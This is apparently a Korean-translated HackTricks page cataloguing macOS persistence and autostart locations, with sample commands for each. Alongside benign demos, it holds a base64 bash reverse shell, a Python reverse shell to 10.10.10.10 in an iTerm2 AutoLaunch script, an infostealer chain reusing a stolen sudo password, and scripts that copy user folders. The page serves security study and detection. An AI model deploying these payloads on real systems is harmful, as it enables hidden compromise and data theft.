macOS 자동 시작
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
이 섹션은 블로그 시리즈 Beyond the good ol’ LaunchAgents를 크게 참고했으며, 목표는 가능한 경우 더 많은 Autostart Locations을 추가하고, 최신 macOS (13.4)에서 현재도 동작하는 기술들을 표시하며, 필요한 권한을 명시하는 것입니다.
Sandbox Bypass
Tip
여기에는 파일에 기록하고 매우 흔한 동작을 기다리거나, 정해진 시간 경과 또는 샌드박스 내부에서 보통 수행할 수 있는 동작을 통해 간단히 무언가를 실행할 수 있게 해 주는 sandbox bypass에 유용한 시작 위치들이 정리되어 있습니다. 이 방법들은 보통 root permissions 없이 수행할 수 있습니다.
Launchd
Locations
/Library/LaunchAgents- Trigger: Reboot
- Root required
/Library/LaunchDaemons- Trigger: Reboot
- Root required
/System/Library/LaunchAgents- Trigger: Reboot
- Root required
/System/Library/LaunchDaemons- Trigger: Reboot
- Root required
~/Library/LaunchAgents- Trigger: Relog-in
~/Library/LaunchDemons- Trigger: Relog-in
Tip
흥미로운 사실로, **
launchd**는 Mach-o 섹션__Text.__config에 임베디드된 property list를 가지고 있으며, 여기에는 launchd가 시작해야 하는 잘 알려진 다른 서비스들이 포함되어 있습니다. 또한 이러한 서비스들은RequireSuccess,RequireRun및RebootOnSuccess같은 항목을 포함할 수 있는데, 이는 해당 서비스들이 반드시 실행되어 성공적으로 완료되어야 함을 의미합니다.물론, code signing 때문에 수정할 수 없습니다.
설명 및 악용
**launchd**는 부팅 시 OX S 커널에 의해 실행되는 가장 첫 번째 프로세스이자 종료 시 마지막으로 종료되는 프로세스입니다. 항상 PID 1을 갖습니다. 이 프로세스는 다음 위치들에 있는 ASEP plists에 명시된 설정을 읽고 실행합니다:
/Library/LaunchAgents: 관리자에 의해 설치된 사용자별 agents/Library/LaunchDaemons: 관리자에 의해 설치된 시스템 전체 daemons/System/Library/LaunchAgents: Apple이 제공하는 사용자별 agents/System/Library/LaunchDaemons: Apple이 제공하는 시스템 전체 daemons
사용자가 로그인하면 /Users/$USER/Library/LaunchAgents 및 /Users/$USER/Library/LaunchDemons에 위치한 plists가 로그인한 사용자의 권한으로 시작됩니다.
agents와 daemons의 주요 차이점은 agents는 사용자가 로그인할 때 로드되고 daemons는 시스템 부팅 시 로드된다는 점입니다(예: ssh 같은 서비스는 어떤 사용자도 시스템에 접근하기 전에 실행되어야 합니다). 또한 agents는 GUI를 사용할 수 있는 반면 daemons는 백그라운드에서 실행되어야 합니다.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>
사용자가 로그인하기 전에 agent가 실행되어야 하는 경우가 있으며, 이를 PreLoginAgents라고 합니다. 예를 들어, 로그인 시 보조 기술을 제공할 때 유용합니다. 또한 /Library/LaunchAgents에서도 찾을 수 있습니다(예제는 here 참조).
Tip
New Daemons or Agents config files will be loaded after next reboot or using
launchctl load <target.plist>It’s also possible to load .plist files without that extension withlaunchctl -F <file>(however those plist files won’t be automatically loaded after reboot).
It’s also possible to unload withlaunchctl unload <target.plist>(the process pointed by it will be terminated),Agent나 Daemon이 실행되지 못하도록(예: override 같은) 아무런 요소가 없는지 확인하려면 다음을 실행하세요:
sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist
현재 사용자에 의해 로드된 모든 agents 및 daemons를 나열:
launchctl list
예시 악성 LaunchDaemon 체인 (비밀번호 재사용)
A recent macOS infostealer reused a captured sudo password to drop a user agent and a root LaunchDaemon:
- agent 루프를
~/.agent에 작성하고 실행 가능하도록 만든다. - 해당 agent를 가리키는 plist를
/tmp/starter에 생성한다. - 도용한 비밀번호를
sudo -S와 함께 재사용하여 이를/Library/LaunchDaemons/com.finder.helper.plist로 복사하고, 소유자를root:wheel로 설정한 다음launchctl load로 로드한다. - 출력을 분리하기 위해
nohup ~/.agent >/dev/null 2>&1 &로 agent를 조용히 시작한다.
printf '%s\n' "$pw" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist
nohup "$HOME/.agent" >/dev/null 2>&1 &
Warning
plist가 사용자가 소유한 경우, system wide 데몬 폴더에 있더라도, 작업은 사용자로 실행됩니다(root가 아님). 이는 일부 권한 상승 공격을 방지할 수 있습니다.
More info about launchd
**launchd**는 커널에서 시작되는 최초의 유저 모드 프로세스입니다. 프로세스 시작은 성공적이어야 하고 종료하거나 크래시할 수 없습니다. 일부 kill 신호에 대해서도 보호되어 있습니다.
launchd가 수행하는 첫 번째 작업 중 하나는 다음과 같은 모든 daemons를 시작하는 것입니다:
- Timer daemons based on time to be executed:
- atd (
com.apple.atrun.plist):StartInterval이 30분입니다 - crond (
com.apple.systemstats.daily.plist):StartCalendarInterval이 00:15에 시작하도록 설정되어 있습니다 - Network daemons like:
org.cups.cups-lpd: TCP에서 리스닝 (SockType: stream) 하며SockServiceName: printer- SockServiceName은 포트이거나
/etc/services의 서비스여야 합니다 com.apple.xscertd.plist: 포트 1640의 TCP에서 리스닝합니다- Path daemons that are executed when a specified path changes:
com.apple.postfix.master:/etc/postfix/aliases경로를 체크합니다- IOKit notifications daemons:
com.apple.xartstorageremoted:"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...- Mach port:
com.apple.xscertd-helper.plist:MachServices항목에com.apple.xscertd.helper라는 이름을 표시합니다- UserEventAgent:
- 이전 항목과는 다릅니다. 특정 이벤트에 반응하여
launchd가 앱을 생성하게 만듭니다. 다만 이 경우 관련된 메인 바이너리는launchd가 아니라/usr/libexec/UserEventAgent입니다. 이 바이너리는 SIP로 제한된 폴더인 /System/Library/UserEventPlugins/에서 플러그인을 로드하며, 각 플러그인은XPCEventModuleInitializer키에 초기화기를 표시하거나, 이전 플러그인의 경우Info.plist의CFPluginFactoriesdict에서FB86416D-6164-2070-726F-70735C216EC0키 아래에 표시합니다.
shell startup files
Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/
- Useful to bypass sandbox: ✅
- TCC Bypass: ✅
- But you need to find an app with a TCC bypass that executes a shell that loads these files
Locations
~/.zshrc,~/.zlogin,~/.zshenv.zwc,~/.zshenv,~/.zprofile- Trigger:
zsh으로 터미널을 열 때 /etc/zshenv,/etc/zprofile,/etc/zshrc,/etc/zlogin- Trigger:
zsh으로 터미널을 열 때 - 루트 권한 필요
~/.zlogout- Trigger:
zsh터미널을 종료할 때 /etc/zlogout- Trigger:
zsh터미널을 종료할 때 - 루트 권한 필요
- 추가 정보:
man zsh ~/.bashrc- Trigger:
bash로 터미널을 열 때 /etc/profile(동작하지 않음)~/.profile(동작하지 않음)~/.xinitrc,~/.xserverrc,/opt/X11/etc/X11/xinit/xinitrc.d/- Trigger: xterm으로 트리거될 것으로 예상되지만, xterm은 설치되어 있지 않음이며 설치 후에도 다음 오류가 발생함: xterm:
DISPLAY is not set
Description & Exploitation
zsh나 bash와 같은 셸 환경을 시작하면 특정 startup 파일들이 실행됩니다. macOS는 현재 기본 셸로 /bin/zsh를 사용합니다. 이 셸은 Terminal 애플리케이션을 실행할 때나 SSH로 장치에 접속할 때 자동으로 사용됩니다. bash와 sh도 macOS에 존재하지만, 명시적으로 호출해야 사용됩니다.
man zsh(즉, man zsh)의 매뉴얼 페이지에는 startup 파일들에 대한 긴 설명이 있습니다.
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
다시 열리는 애플리케이션
Caution
지정된 exploitation을 구성하고 로그아웃/로그인 또는 재부팅을 시도했지만 앱을 실행하는 데 성공하지 못했습니다. (앱이 실행되지 않았습니다 — 아마도 이러한 동작이 수행될 때 앱이 이미 실행 중이어야 할 수 있습니다)
Writeup: https://theevilbit.github.io/beyond/beyond_0021/
위치
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist- 트리거: 재시작 시 애플리케이션 재열림
설명 및 Exploitation
다시 열릴 모든 애플리케이션은 plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist 안에 있습니다.
따라서 재열릴 애플리케이션이 당신의 앱을 실행하도록 만들려면, 단순히 목록에 당신의 앱을 추가하면 됩니다.
UUID는 해당 디렉토리를 나열하거나 ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' 명령으로 찾을 수 있습니다.
재열릴 애플리케이션을 확인하려면 다음을 실행할 수 있습니다:
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
이 목록에 애플리케이션을 추가하려면 다음을 사용할 수 있습니다:
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Terminal Preferences
Location
~/Library/Preferences/com.apple.Terminal.plist- Trigger: Terminal 열기
설명 & Exploitation
In **~/Library/Preferences**에는 애플리케이션의 사용자 환경설정이 저장되어 있다. 이 환경설정들 중 일부는 다른 애플리케이션/스크립트 실행을 구성할 수 있다.
For example, the Terminal can execute a command in the Startup:
.png)
This config is reflected in the file ~/Library/Preferences/com.apple.Terminal.plist like this:
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
따라서 시스템의 terminal 환경설정 plist를 덮어쓸 수 있다면, open 기능을 사용해 terminal을 열고 그 명령이 실행되도록 할 수 있습니다.
다음은 cli에서 추가하는 방법입니다:
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
Terminal 스크립트 / 기타 파일 확장자
Location
- Anywhere
- Trigger: Terminal 열기
설명 및 악용
If you create a .terminal script and opens, the Terminal application will be automatically invoked to execute the commands indicated in there. If the Terminal app has some special privileges (such as TCC), your command will be run with those special privileges.
Try it with:
# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
You could also use the extensions .command, .tool, with regular shell scripts content and they will be also opened by Terminal.
Caution
If terminal has Full Disk Access it will be able to complete that action (note that the command executed will be visible in a terminal window).
오디오 플러그인
Writeup: https://theevilbit.github.io/beyond/beyond_0013/
Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882
위치
/Library/Audio/Plug-Ins/HAL- 루트 권한 필요
- 트리거: coreaudiod 또는 컴퓨터 재시작
/Library/Audio/Plug-ins/Components- 루트 권한 필요
- 트리거: coreaudiod 또는 컴퓨터 재시작
~/Library/Audio/Plug-ins/Components- 트리거: coreaudiod 또는 컴퓨터 재시작
/System/Library/Components- 루트 권한 필요
- 트리거: coreaudiod 또는 컴퓨터 재시작
설명
앞의 writeups에 따르면 특정 오디오 플러그인을 컴파일하여 로드되게 할 수 있습니다.
QuickLook 플러그인
Writeup: https://theevilbit.github.io/beyond/beyond_0028/
위치
/System/Library/QuickLook/Library/QuickLook~/Library/QuickLook/Applications/AppNameHere/Contents/Library/QuickLook/~/Applications/AppNameHere/Contents/Library/QuickLook/
설명 및 악용
QuickLook 플러그인은 파일의 미리보기를 트리거할 때(Finder에서 파일을 선택한 상태로 스페이스 바를 누름) 그리고 해당 파일 형식을 지원하는 플러그인이 설치되어 있으면 실행될 수 있습니다.
자체 QuickLook 플러그인을 컴파일하여 앞서 언급한 위치 중 하나에 배치하면 로드되고, 지원되는 파일로 가서 스페이스 바를 눌러 트리거할 수 있습니다.
로그인/로그아웃 Hooks
Caution
This didn’t work for me, neither with the user LoginHook nor with the root LogoutHook
Writeup: https://theevilbit.github.io/beyond/beyond_0022/
위치
- 다음과 같은 명령을 실행할 수 있어야 합니다:
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh Located in~/Library/Preferences/com.apple.loginwindow.plist
이들은 더 이상 권장되지 않지만, 사용자가 로그인할 때 명령을 실행하는 데 사용할 수 있습니다.
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
이 설정은 /Users/$USER/Library/Preferences/com.apple.loginwindow.plist에 저장됩니다
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
삭제하려면:
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
The root user one is stored in /private/var/root/Library/Preferences/com.apple.loginwindow.plist
조건부 Sandbox Bypass
Tip
여기서는 sandbox bypass에 유용한 시작 위치들을 찾을 수 있습니다. 이는 무언가를 단순히 파일에 써 넣어서 실행하게 하거나, 특정 프로그램이 설치되어 있음, 또는
"덜 흔한" 사용자동작이나 환경 같은 흔하지 않은 조건들을 전제로 하는 경우에 유용합니다.
Cron
작성: https://theevilbit.github.io/beyond/beyond_0004/
위치
/usr/lib/cron/tabs/,/private/var/at/tabs,/private/var/at/jobs,/etc/periodic/- 직접 쓰기 접근에는 root 필요.
crontab <file>을 실행할 수 있으면 root 불필요 - Trigger: cron job에 따라 다름
설명 & Exploitation
다음 명령으로 현재 사용자의 cron job을 나열:
crontab -l
또한 모든 사용자들의 cron jobs는 /usr/lib/cron/tabs/ 및 **/var/at/tabs/**에서 확인할 수 있습니다 (root 권한 필요).
MacOS에서는 스크립트를 특정 주기로 실행하는 여러 폴더를 다음 위치에서 찾을 수 있습니다:
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
거기에서 정기적인 cron jobs, at jobs (그리 자주 사용되지는 않음) 및 periodic jobs (주로 임시 파일 정리에 사용됨)를 찾을 수 있습니다. 예를 들어 일일 periodic 작업은 다음과 같이 실행할 수 있습니다: periodic daily.
user cronjob programatically를 추가하려면 다음을 사용할 수 있습니다:
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
iTerm2
분석: https://theevilbit.github.io/beyond/beyond_0002/
위치
~/Library/Application Support/iTerm2/Scripts/AutoLaunch- 트리거: Open iTerm
~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt- 트리거: Open iTerm
~/Library/Preferences/com.googlecode.iterm2.plist- 트리거: Open iTerm
설명 및 악용
해당 경로의 **~/Library/Application Support/iTerm2/Scripts/AutoLaunch**에 저장된 스크립트는 실행됩니다. 예:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
또는:
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
스크립트 ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt 도 실행됩니다:
do shell script "touch /tmp/iterm2-autolaunchscpt"
The iTerm2 preferences located in ~/Library/Preferences/com.googlecode.iterm2.plist can 실행할 명령을 지정할 수 있습니다 when the iTerm2 terminal is opened.
This setting can be configured in the iTerm2 settings:
.png)
And the command is reflected in the preferences:
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
실행할 명령은 다음과 같이 설정할 수 있습니다:
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
Warning
임의 명령을 실행하기 위해 iTerm2 preferences를 악용하는 다른 방법이 있을 가능성이 높습니다.
xbar
Writeup: https://theevilbit.github.io/beyond/beyond_0007/
Location
~/Library/Application\ Support/xbar/plugins/- 트리거: xbar가 실행될 때
설명
인기 있는 프로그램 xbar가 설치되어 있으면, **~/Library/Application\ Support/xbar/plugins/**에 셸 스크립트를 작성할 수 있으며 xbar가 시작될 때 실행됩니다:
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
Hammerspoon
작성: https://theevilbit.github.io/beyond/beyond_0008/
위치
~/.hammerspoon/init.lua- Trigger: hammerspoon이 실행될 때
설명
Hammerspoon은 macOS용 자동화 플랫폼으로, 작업에 LUA scripting language를 활용합니다. 특히 완전한 AppleScript 코드 통합과 shell scripts 실행을 지원하여 스크립팅 기능을 크게 향상시킵니다.
앱은 단일 파일 ~/.hammerspoon/init.lua를 찾고, 시작되면 해당 스크립트가 실행됩니다.
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
BetterTouchTool
- Useful to bypass sandbox: ✅
- But BetterTouchTool must be installed
- TCC bypass: ✅
- It requests Automation-Shortcuts and Accessibility permissions
위치
~/Library/Application Support/BetterTouchTool/*
이 도구는 특정 단축키가 눌렸을 때 실행할 애플리케이션이나 스크립트를 지정할 수 있게 해줍니다. 공격자는 데이터베이스에 자신의 단축키와 실행 동작을 구성하여 임의의 코드를 실행하도록 만들 수 있습니다(단축키는 단순히 키를 누르는 동작일 수도 있습니다).
Alfred
- Useful to bypass sandbox: ✅
- But Alfred must be installed
- TCC bypass: ✅
- It requests Automation, Accessibility and even Full-Disk access permissions
위치
???
특정 조건이 충족될 때 코드를 실행할 수 있는 workflows를 생성할 수 있습니다. 잠재적으로 공격자가 workflow 파일을 만들어 Alfred가 이를 로드하도록 만들 수 있습니다(워크플로우를 사용하려면 premium 버전 결제가 필요합니다).
SSHRC
Writeup: https://theevilbit.github.io/beyond/beyond_0006/
- Useful to bypass sandbox: ✅
- But ssh needs to be enabled and used
- TCC bypass: ✅
- SSH use to have FDA access
위치
~/.ssh/rc- Trigger: ssh로 로그인
/etc/ssh/sshrc- 루트 권한 필요
- Trigger: ssh로 로그인
Caution
To turn ssh on requres Full Disk Access:
sudo systemsetup -setremotelogin on
설명 & Exploitation
기본적으로 /etc/ssh/sshd_config에 PermitUserRC no가 설정되어 있지 않다면, 사용자가 SSH로 로그인할 때 스크립트 /etc/ssh/sshrc 및 **~/.ssh/rc**가 실행됩니다.
Login Items
Writeup: https://theevilbit.github.io/beyond/beyond_0003/
위치들
~/Library/Application Support/com.apple.backgroundtaskmanagementagent- Trigger: 로그인
- 익스플로잇 페이로드가 **
osascript**를 호출하는 형태로 저장됨 /var/db/com.apple.xpc.launchd/loginitems.501.plist- Trigger: 로그인
- 루트 권한 필요
설명
System Preferences -> Users & Groups -> Login Items에서 사용자가 로그인할 때 실행되는 항목들을 찾을 수 있습니다.
명령줄에서 이 항목들을 나열하고 추가 및 제거하는 것이 가능합니다:
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
이 항목들은 파일 **~/Library/Application Support/com.apple.backgroundtaskmanagementagent**에 저장됩니다
Login items은 또한 API SMLoginItemSetEnabled를 사용하여 표시될 수 있으며, 그 구성은 **/var/db/com.apple.xpc.launchd/loginitems.501.plist**에 저장됩니다
ZIP as Login Item
(Check previous section about Login Items, this is an extension)
ZIP 파일을 Login Item으로 저장하면 **Archive Utility**가 이를 열고, 예를 들어 ZIP이 **~/Library**에 저장되어 있고 폴더 **LaunchAgents/file.plist**에 backdoor가 포함되어 있다면 해당 폴더가 생성됩니다(기본적으로 생성되지는 않음) 그리고 plist가 추가되므로 사용자가 다음에 로그인할 때 plist에 표시된 backdoor가 실행됩니다.
또 다른 방법으로는 사용자 HOME 안에 **.bash_profile**와 .zshenv 파일을 생성하는 것입니다. 만약 LaunchAgents 폴더가 이미 존재한다면 이 기법은 여전히 작동합니다.
At
Writeup: https://theevilbit.github.io/beyond/beyond_0014/
Location
- **
at**을 실행해야 하며 활성화되어 있어야 합니다
Description
at 작업은 특정 시간에 실행될 일회성 작업을 예약하도록 설계되어 있습니다. cron jobs와 달리 at 작업은 실행 후 자동으로 제거됩니다. 이러한 작업은 시스템 재부팅 후에도 지속된다는 점을 주의해야 하며, 특정 조건에서는 보안상 우려가 될 수 있습니다.
기본적으로 이들은 비활성화되어 있지만 root 사용자는 다음으로 활성화할 수 있습니다:
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
이 작업은 1시간 후에 파일을 생성합니다:
echo "echo 11 > /tmp/at.txt" | at now+1
작업 큐를 atq:로 확인하세요.
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
위에서 두 개의 예약된 작업을 볼 수 있습니다. at -c JOBNUMBER를 사용하여 작업의 세부 정보를 출력할 수 있습니다.
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
Warning
AT tasks가 활성화되어 있지 않으면 생성된 작업은 실행되지 않습니다.
해당 job files는 /private/var/at/jobs/에서 찾을 수 있습니다.
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
파일 이름에는 큐, 작업 번호, 예약 실행 시간이 포함되어 있습니다. 예를 들어 a0001a019bdcd2를 살펴보겠습니다.
a- 큐입니다0001a- 16진수로 된 작업 번호,0x1a = 26019bdcd2- 시간(16진수). epoch 이후 경과한 분(minutes)을 나타냅니다.0x019bdcd2는 십진수로26991826입니다. 이를 60으로 곱하면1619509560이 되며, 이는GMT: 2021. April 27., Tuesday 7:46:00입니다.
작업 파일을 출력해 보면 at -c로 얻은 것과 동일한 정보가 포함되어 있음을 알 수 있습니다.
Folder Actions
작성: https://theevilbit.github.io/beyond/beyond_0024/
작성: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d
- sandbox 우회에 유용: ✅
- 하지만 Folder Actions를 구성하려면 인수를 포함해
osascript를 호출하여 **System Events**에 접근할 수 있어야 합니다 - TCC 우회: 🟠
- Desktop, Documents 및 Downloads와 같은 일부 기본 TCC 권한을 가집니다
Location
/Library/Scripts/Folder Action Scripts- 루트 권한 필요
- Trigger: 지정된 폴더에 대한 접근
~/Library/Scripts/Folder Action Scripts- Trigger: 지정된 폴더에 대한 접근
설명 및 악용
Folder Actions는 폴더에 항목을 추가/제거하거나 폴더 창을 열거나 크기를 변경하는 등 폴더의 변화에 의해 자동으로 트리거되는 스크립트입니다. 이러한 액션은 다양한 작업에 활용될 수 있으며 Finder UI나 terminal 명령 등 여러 방식으로 트리거할 수 있습니다.
Folder Actions를 설정하려면 다음과 같은 방법이 있습니다:
- Automator를 사용해 Folder Action 워크플로를 제작하고 서비스로 설치합니다.
- 폴더의 컨텍스트 메뉴에 있는 Folder Actions Setup을 통해 스크립트를 수동으로 연결합니다.
- OSAScript를 이용해 Apple Event 메시지를
System Events.app로 보내 Folder Action을 프로그래밍적으로 설정합니다.
- 이 방법은 액션을 시스템에 내장시켜 일정 수준의 지속성을 제공하는 데 특히 유용합니다.
다음 스크립트는 Folder Action으로 실행할 수 있는 예제입니다:
// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
위 스크립트를 Folder Actions에서 사용하려면 다음을 사용하여 컴파일하세요:
osacompile -l JavaScript -o folder.scpt source.js
스크립트가 컴파일된 후, 아래 스크립트를 실행하여 Folder Actions를 설정하세요. 이 스크립트는 Folder Actions를 전역적으로 활성화하고 이전에 컴파일된 스크립트를 Desktop 폴더에 연결합니다.
// Enabling and attaching Folder Action
var se = Application("System Events")
se.folderActionsEnabled = true
var myScript = se.Script({ name: "source.js", posixPath: "/tmp/source.js" })
var fa = se.FolderAction({ name: "Desktop", path: "/Users/username/Desktop" })
se.folderActions.push(fa)
fa.scripts.push(myScript)
설정 스크립트를 다음과 같이 실행하세요:
osascript -l JavaScript /Users/username/attach.scpt
- GUI를 통해 이 persistence를 구현하는 방법은 다음과 같습니다:
다음은 실행될 스크립트입니다:
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
다음 명령으로 컴파일: osacompile -l JavaScript -o folder.scpt source.js
다음 위치로 이동:
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
Then, open the Folder Actions Setup app, select the 감시할 폴더 and select in your case folder.scpt (in my case I called it output2.scp):
.png)
